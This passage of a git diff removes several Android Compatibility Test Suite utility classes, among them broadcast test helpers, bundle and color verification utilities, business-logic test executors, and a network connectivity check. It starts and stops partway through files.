-            final TRequest request = bytesToRequest(intent.getByteArrayExtra(EXTRA_PAYLOAD));
-
-            Log.i(TAG, "Request received: " + (VERBOSE ? request.toString() : ""));
-
-            Throwable exception = null;
-
-            // Handle it and generate a response.
-            TResponse response = null;
-            try {
-                response = handleRequest(context, request);
-                Log.i(TAG, "Response generated: " + (VERBOSE ? response.toString() : ""));
-            } catch (Throwable e) {
-                exception = e;
-                Log.e(TAG, "Exception thrown: " + e.getMessage(), e);
-            }
-
-            // Send back.
-            final Bundle extras = new Bundle();
-            if (response != null) {
-                extras.putByteArray(EXTRA_PAYLOAD, responseToBytes(response));
-            }
-            if (exception != null) {
-                extras.putString(EXTRA_EXCEPTION,
-                        exception.toString() + "\n" + Log.getStackTraceString(exception));
-            }
-            setResultExtras(extras);
-        }
-
-        /** Implement in a subclass */
-        protected abstract TResponse handleRequest(Context context, TRequest request)
-                throws Exception;
-
-        /** Implement in a subclass */
-        protected abstract byte[] responseToBytes(TResponse response);
-
-        /** Implement in a subclass */
-        protected abstract TRequest bytesToRequest(byte[] bytes);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java
deleted file mode 100644
index 7500050..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class BroadcastTestBase extends ActivityInstrumentationTestCase2<
-                                       BroadcastTestStartActivity> {
-    static final String TAG = "BroadcastTestBase";
-    protected static final int TIMEOUT_MS = 20 * 1000;
-
-    protected Context mContext;
-    protected Bundle mResultExtras;
-    private CountDownLatch mLatch;
-    protected ActivityDoneReceiver mActivityDoneReceiver = null;
-    private BroadcastTestStartActivity mActivity;
-    private BroadcastUtils.TestcaseType mTestCaseType;
-    protected boolean mHasFeature;
-
-    public BroadcastTestBase() {
-        super(BroadcastTestStartActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mHasFeature = false;
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        Log.v(TAG, getClass().getSimpleName() + ".tearDown(): hasFeature=" + mHasFeature
-                + " receiver=" + mActivityDoneReceiver);
-        if (mHasFeature && mActivityDoneReceiver != null) {
-            try {
-                mContext.unregisterReceiver(mActivityDoneReceiver);
-            } catch (IllegalArgumentException e) {
-                // This exception is thrown if mActivityDoneReceiver in
-                // the above call to unregisterReceiver is never registered.
-                // If so, no harm done by ignoring this exception.
-            }
-            mActivityDoneReceiver = null;
-        }
-        super.tearDown();
-    }
-
-    protected boolean isIntentSupported(String intentStr) {
-        Intent intent = new Intent(intentStr);
-        final PackageManager manager = mContext.getPackageManager();
-        assertNotNull(manager);
-        if (manager.resolveActivity(intent, 0) == null) {
-            Log.i(TAG, "No Activity found for the intent: " + intentStr);
-            return false;
-        }
-        return true;
-    }
-
-    protected void startTestActivity(String intentSuffix) {
-        Intent intent = new Intent();
-        intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + intentSuffix);
-        intent.setComponent(new ComponentName(getInstrumentation().getContext(),
-                BroadcastTestStartActivity.class));
-        setActivityIntent(intent);
-        mActivity = getActivity();
-    }
-
-    protected void registerBroadcastReceiver(BroadcastUtils.TestcaseType testCaseType) throws Exception {
-        mTestCaseType = testCaseType;
-        mLatch = new CountDownLatch(1);
-        mActivityDoneReceiver = new ActivityDoneReceiver();
-        mContext.registerReceiver(mActivityDoneReceiver,
-                new IntentFilter(BroadcastUtils.BROADCAST_INTENT + testCaseType.toString()));
-    }
-
-    protected boolean startTestAndWaitForBroadcast(BroadcastUtils.TestcaseType testCaseType,
-                                                   String pkg, String cls) throws Exception {
-        Log.i(TAG, "Begin Testing: " + testCaseType);
-        registerBroadcastReceiver(testCaseType);
-        mActivity.startTest(testCaseType.toString(), pkg, cls);
-        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-            fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
-            return false;
-        }
-        return true;
-    }
-
-    class ActivityDoneReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent.getAction().equals(
-                    BroadcastUtils.BROADCAST_INTENT +
-                        BroadcastTestBase.this.mTestCaseType.toString())) {
-                Bundle extras = intent.getExtras();
-                Log.i(TAG, "received_broadcast for " + BroadcastUtils.toBundleString(extras));
-                BroadcastTestBase.this.mResultExtras = extras;
-                mLatch.countDown();
-            }
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
deleted file mode 100644
index 4b3e85d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.util.Log;
-
-public class BroadcastTestStartActivity extends Activity {
-    static final String TAG = "BroadcastTestStartActivity";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, " in onCreate");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.i(TAG, " in onResume");
-    }
-
-    void startTest(String testCaseType, String pkg, String cls) {
-        Intent intent = new Intent();
-        Log.i(TAG, "received_testcasetype = " + testCaseType);
-        intent.putExtra(BroadcastUtils.TESTCASE_TYPE, testCaseType);
-        intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
-        intent.setComponent(new ComponentName(pkg, cls));
-        startActivity(intent);
-    }
-
-    @Override
-    protected void onPause() {
-        Log.i(TAG, " in onPause");
-        super.onPause();
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        Log.i(TAG, " in onStart");
-    }
-
-    @Override
-    protected void onRestart() {
-        super.onRestart();
-        Log.i(TAG, " in onRestart");
-    }
-
-    @Override
-    protected void onStop() {
-        Log.i(TAG, " in onStop");
-        super.onStop();
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.i(TAG, " in onDestroy");
-        super.onDestroy();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java
deleted file mode 100644
index a4661fc..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.Bundle;
-
-public class BroadcastUtils {
-    public enum TestcaseType {
-        ZEN_MODE_ON,
-        ZEN_MODE_OFF,
-        AIRPLANE_MODE_ON,
-        AIRPLANE_MODE_OFF,
-        BATTERYSAVER_MODE_ON,
-        BATTERYSAVER_MODE_OFF,
-        THEATER_MODE_ON,
-        THEATER_MODE_OFF
-    }
-    public static final String TESTCASE_TYPE = "Testcase_type";
-    public static final String BROADCAST_INTENT =
-            "android.intent.action.FROM_UTIL_CTS_TEST_";
-    public static final int NUM_MINUTES_FOR_ZENMODE = 10;
-
-    public static final String toBundleString(Bundle bundle) {
-        if (bundle == null) {
-            return "*** Bundle is null ****";
-        }
-        StringBuilder buf = new StringBuilder();
-        if (bundle != null) {
-            buf.append("extras: ");
-            for (String s : bundle.keySet()) {
-                buf.append("(" + s + " = " + bundle.get(s) + "), ");
-            }
-        }
-        return buf.toString();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BundleUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BundleUtils.java
deleted file mode 100644
index eda641d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BundleUtils.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.Bundle;
-
-public class BundleUtils {
-    private BundleUtils() {
-    }
-
-    public static Bundle makeBundle(Object... keysAndValues) {
-        if ((keysAndValues.length % 2) != 0) {
-            throw new IllegalArgumentException("Argument count not even.");
-        }
-
-        if (keysAndValues.length == 0) {
-            return null;
-        }
-        final Bundle ret = new Bundle();
-
-        for (int i = keysAndValues.length - 2; i >= 0; i -= 2) {
-            final String key = keysAndValues[i].toString();
-            final Object value = keysAndValues[i + 1];
-
-            if (value == null) {
-                ret.putString(key, null);
-
-            } else if (value instanceof Boolean) {
-                ret.putBoolean(key, (Boolean) value);
-
-            } else if (value instanceof Integer) {
-                ret.putInt(key, (Integer) value);
-
-            } else if (value instanceof String) {
-                ret.putString(key, (String) value);
-
-            } else if (value instanceof Bundle) {
-                ret.putBundle(key, (Bundle) value);
-            } else {
-                throw new IllegalArgumentException(
-                        "Type not supported yet: " + value.getClass().getName());
-            }
-        }
-        return ret;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
deleted file mode 100644
index 7d7aaf0..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.lang.reflect.Method;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Execute business logic methods for device side test cases
- */
-public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
-
-    private Context mContext;
-    private Object mTestObj;
-
-    public BusinessLogicDeviceExecutor(Context context, Object testObj) {
-        mContext = context;
-        mTestObj = testObj;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected Object getTestObject() {
-        return mTestObj;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void logInfo(String format, Object... args) {
-        Log.i(LOG_TAG, String.format(format, args));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void logDebug(String format, Object... args) {
-        Log.d(LOG_TAG, String.format(format, args));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected String formatExecutionString(String method, String... args) {
-        return String.format("%s(%s)", method, TextUtils.join(", ", args));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
-            throws ClassNotFoundException {
-        List<Method> nameMatches = getMethodsWithName(cls, methodName);
-        for (Method m : nameMatches) {
-            ResolvedMethod rm = new ResolvedMethod(m);
-            int paramTypesMatched = 0;
-            int argsUsed = 0;
-            Class[] paramTypes = m.getParameterTypes();
-            for (Class paramType : paramTypes) {
-                if (argsUsed == args.length && paramType.equals(String.class)) {
-                    // We've used up all supplied string args, so this method will not match.
-                    // If paramType is the Context class, we can match a paramType without needing
-                    // more string args. similarly, paramType "String[]" can be matched with zero
-                    // string args. If we add support for more paramTypes, this logic may require
-                    // adjustment.
-                    break;
-                }
-                if (paramType.equals(String.class)) {
-                    // Type "String" -- supply the next available arg
-                    rm.addArg(args[argsUsed++]);
-                } else if (Context.class.isAssignableFrom(paramType)) {
-                    // Type "Context" -- supply the context from the test case
-                    rm.addArg(mContext);
-                } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
-                    // Type "String[]" (or "String...") -- supply all remaining args
-                    rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
-                    argsUsed += (args.length - argsUsed);
-                } else {
-                    break; // Param type is unrecognized, this method will not match.
-                }
-                paramTypesMatched++; // A param type has been matched when reaching this point.
-            }
-            if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
-                return rm; // Args match, methods match, so return the first method-args pairing.
-            }
-            // Not a match, try args for next method that matches by name.
-        }
-        throw new RuntimeException(String.format(
-                "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
-                Arrays.toString(args)));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
deleted file mode 100644
index d567a5f..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.rules.TestName;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.lang.reflect.Field;
-import java.util.Map;
-
-/**
- * Device-side base class for tests leveraging the Business Logic service.
- */
-public class BusinessLogicTestCase {
-    private static final String TAG = "BusinessLogicTestCase";
-
-    /* String marking the beginning of the parameter in a test name */
-    private static final String PARAM_START = "[";
-
-    public static final String CONTENT_PROVIDER =
-            String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
-
-    /* Test name rule that tracks the current test method under execution */
-    @Rule public TestName mTestCase = new TestName();
-
-    protected BusinessLogic mBusinessLogic;
-    protected boolean mCanReadBusinessLogic = true;
-
-    @Before
-    public void handleBusinessLogic() {
-        loadBusinessLogic();
-        executeBusinessLogic();
-    }
-
-    protected void executeBusinessLogic() {
-        String methodName = mTestCase.getMethodName();
-        assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
-                + "remote configuration.", methodName), mCanReadBusinessLogic);
-        if (methodName.contains(PARAM_START)) {
-            // Strip parameter suffix (e.g. "[0]") from method name
-            methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
-        }
-        String testName = String.format("%s#%s", this.getClass().getName(), methodName);
-        if (mBusinessLogic.hasLogicFor(testName)) {
-            Log.i(TAG, "Finding business logic for test case: " + testName);
-            BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
-            mBusinessLogic.applyLogicFor(testName, executor);
-        }
-    }
-
-    protected void loadBusinessLogic() {
-        String uriPath = String.format("%s/%s", CONTENT_PROVIDER, BusinessLogic.DEVICE_FILE);
-        Uri sdcardUri = Uri.parse(uriPath);
-        Context appContext = InstrumentationRegistry.getTargetContext();
-        try {
-            ContentResolver resolver = appContext.getContentResolver();
-            ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri, "r");
-            mBusinessLogic = BusinessLogicFactory.createFromFile(
-                    new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
-            return;
-        } catch (FileNotFoundException e) {
-            // Log the error and use the fallback too
-            Log.e(TAG, "Error while using content provider for config", e);
-        }
-        // Fallback to reading the business logic directly.
-        File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
-        if (businessLogicFile.canRead()) {
-            mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
-        } else {
-            mCanReadBusinessLogic = false;
-        }
-    }
-
-    protected static Instrumentation getInstrumentation() {
-        return InstrumentationRegistry.getInstrumentation();
-    }
-
-    protected static Context getContext() {
-        return getInstrumentation().getTargetContext();
-    }
-
-    public static void skipTest(String message) {
-        assumeTrue(message, false);
-    }
-
-    public static void failTest(String message) {
-        fail(message);
-    }
-
-    public void mapPut(String mapName, String key, String value) {
-        boolean put = false;
-        for (Field f : getClass().getDeclaredFields()) {
-            if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
-                try {
-                    ((Map) f.get(this)).put(key, value);
-                    put = true;
-                } catch (IllegalAccessException e) {
-                    Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
-                            f.getName()), e);
-                    // continue iterating through fields, throw exception if no other fields match
-                }
-            }
-        }
-        if (!put) {
-            throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
-                    getClass().getName()));
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java b/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java
deleted file mode 100644
index d60155a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CTSResult.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-package com.android.compatibility.common.util;
-
-public interface CTSResult {
-    public static final int RESULT_OK = 1;
-    public static final int RESULT_FAIL = 2;
-    public void setResult(int resultCode);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CallbackAsserter.java b/common/device-side/util/src/com/android/compatibility/common/util/CallbackAsserter.java
deleted file mode 100644
index 436161a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CallbackAsserter.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.fail;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.database.ContentObserver;
-import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Predicate;
-
-/**
- * CallbackAsserter helps wait until a callback is called.
- */
-public class CallbackAsserter {
-    private static final String TAG = "CallbackAsserter";
-
-    final CountDownLatch mLatch = new CountDownLatch(1);
-
-    CallbackAsserter() {
-    }
-
-    /**
-     * Call this to assert a callback be called within the given timeout.
-     */
-    public final void assertCalled(String message, int timeoutSeconds) throws Exception {
-        try {
-            if (mLatch.await(timeoutSeconds, TimeUnit.SECONDS)) {
-                return;
-            }
-            fail("Didn't receive callback: " + message);
-        } finally {
-            cleanUp();
-        }
-    }
-
-    void cleanUp() {
-    }
-
-    /**
-     * Create an instance for a broadcast.
-     */
-    public static CallbackAsserter forBroadcast(IntentFilter filter) {
-        return forBroadcast(filter, null);
-    }
-
-    /**
-     * Create an instance for a broadcast.
-     */
-    public static CallbackAsserter forBroadcast(IntentFilter filter, Predicate<Intent> checker) {
-        return new BroadcastAsserter(filter, checker);
-    }
-
-    /**
-     * Create an instance for a content changed notification.
-     */
-    public static CallbackAsserter forContentUri(Uri watchUri) {
-        return forContentUri(watchUri, null);
-    }
-
-    /**
-     * Create an instance for a content changed notification.
-     */
-    public static CallbackAsserter forContentUri(Uri watchUri, Predicate<Uri> checker) {
-        return new ContentObserverAsserter(watchUri, checker);
-    }
-
-    private static class BroadcastAsserter extends CallbackAsserter {
-        private final BroadcastReceiver mReceiver;
-
-        BroadcastAsserter(IntentFilter filter, Predicate<Intent> checker) {
-            mReceiver = new BroadcastReceiver() {
-                @Override
-                public void onReceive(Context context, Intent intent) {
-                    if (checker != null && !checker.test(intent)) {
-                        Log.v(TAG, "Ignoring intent: " + intent);
-                        return;
-                    }
-                    mLatch.countDown();
-                }
-            };
-            InstrumentationRegistry.getContext().registerReceiver(mReceiver, filter);
-        }
-
-        @Override
-        void cleanUp() {
-            InstrumentationRegistry.getContext().unregisterReceiver(mReceiver);
-        }
-    }
-
-    private static class ContentObserverAsserter extends CallbackAsserter {
-        private final ContentObserver mObserver;
-
-        ContentObserverAsserter(Uri watchUri, Predicate<Uri> checker) {
-            mObserver = new ContentObserver(null) {
-                @Override
-                public void onChange(boolean selfChange, Uri uri) {
-                    if (checker != null && !checker.test(uri)) {
-                        Log.v(TAG, "Ignoring notification on URI: " + uri);
-                        return;
-                    }
-                    mLatch.countDown();
-                }
-            };
-            InstrumentationRegistry.getContext().getContentResolver().registerContentObserver(
-                    watchUri, true, mObserver);
-        }
-
-        @Override
-        void cleanUp() {
-            InstrumentationRegistry.getContext().getContentResolver().unregisterContentObserver(
-                    mObserver);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java
deleted file mode 100644
index c0da13d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ColorUtils.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.fail;
-
-import android.graphics.Color;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.function.Function;
-import java.util.function.IntUnaryOperator;
-
-public class ColorUtils {
-    public static void verifyColor(int expected, int observed) {
-        verifyColor(expected, observed, 0);
-    }
-
-    public static void verifyColor(int expected, int observed, int tolerance) {
-        verifyColor("", expected, observed, tolerance);
-    }
-
-    /**
-     * Verify that two colors match within a per-channel tolerance.
-     *
-     * @param s String with extra information about the test with an error.
-     * @param expected Expected color.
-     * @param observed Observed color.
-     * @param tolerance Per-channel tolerance by which the color can mismatch.
-     */
-    public static void verifyColor(@NonNull String s, int expected, int observed, int tolerance) {
-        s += " expected 0x" + Integer.toHexString(expected)
-            + ", observed 0x" + Integer.toHexString(observed)
-            + ", tolerated channel error 0x" + tolerance;
-        String red = verifyChannel("red", expected, observed, tolerance, (i) -> Color.red(i));
-        String green = verifyChannel("green", expected, observed, tolerance, (i) -> Color.green(i));
-        String blue = verifyChannel("blue", expected, observed, tolerance, (i) -> Color.blue(i));
-        String alpha = verifyChannel("alpha", expected, observed, tolerance, (i) -> Color.alpha(i));
-
-        buildErrorString(s, red, green, blue, alpha);
-    }
-
-    private static void buildErrorString(@NonNull String s, @Nullable String red,
-            @Nullable String green, @Nullable String blue, @Nullable String alpha) {
-        String err = null;
-        for (String channel : new String[]{red, green, blue, alpha}) {
-            if (channel == null) continue;
-            if (err == null) err = s;
-            err += "\n\t\t" + channel;
-        }
-        if (err != null) {
-            fail(err);
-        }
-    }
-
-    private static String verifyChannel(String channelName, int expected, int observed,
-            int tolerance, IntUnaryOperator f) {
-        int e = f.applyAsInt(expected);
-        int o = f.applyAsInt(observed);
-        if (Math.abs(e - o) <= tolerance) {
-            return null;
-        }
-        return "Channel " + channelName + " mismatch: expected<0x" + Integer.toHexString(e)
-            + ">, observed: <0x" + Integer.toHexString(o) + ">";
-    }
-
-    /**
-     * Verify that two colors match within a per-channel tolerance.
-     *
-     * @param msg String with extra information about the test with an error.
-     * @param expected Expected color.
-     * @param observed Observed color.
-     * @param tolerance Per-channel tolerance by which the color can mismatch.
-     */
-    public static void verifyColor(@NonNull String msg, Color expected, Color observed,
-            float tolerance) {
-        if (!expected.getColorSpace().equals(observed.getColorSpace())) {
-            fail("Cannot compare Colors with different color spaces! expected: " + expected
-                    + "\tobserved: " + observed);
-        }
-        msg += " expected " + expected + ", observed " + observed + ", tolerated channel error "
-            + tolerance;
-        String red = verifyChannel("red", expected, observed, tolerance, (c) -> c.red());
-        String green = verifyChannel("green", expected, observed, tolerance, (c) -> c.green());
-        String blue = verifyChannel("blue", expected, observed, tolerance, (c) -> c.blue());
-        String alpha = verifyChannel("alpha", expected, observed, tolerance, (c) -> c.alpha());
-
-        buildErrorString(msg, red, green, blue, alpha);
-    }
-
-    private static String verifyChannel(String channelName, Color expected, Color observed,
-            float tolerance, Function<Color, Float> f) {
-        float e = f.apply(expected);
-        float o = f.apply(observed);
-        float diff = Math.abs(e - o);
-        if (diff <= tolerance) {
-            return null;
-        }
-        return "Channel " + channelName + " mismatch: expected<" + e + ">, observed: <" + o
-            + ">, difference: <" + diff + ">";
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ConnectivityUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/ConnectivityUtils.java
deleted file mode 100644
index 09a0a85..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ConnectivityUtils.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-
-public class ConnectivityUtils {
-    private ConnectivityUtils() {
-    }
-
-    /** @return true when the device has a network connection. */
-    public static boolean isNetworkConnected(Context context) {
-        final NetworkInfo networkInfo = context.getSystemService(ConnectivityManager.class)
-                .getActiveNetworkInfo();
-        return (networkInfo != null) && networkInfo.isConnected();
-    }
-
-    /** Assert that the device has a network connection. */
-    public static void assertNetworkConnected(Context context) {
-        assertTrue("Network must be connected", isNetworkConnected(context));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
deleted file mode 100644
index 9360942..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/CpuFeatures.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
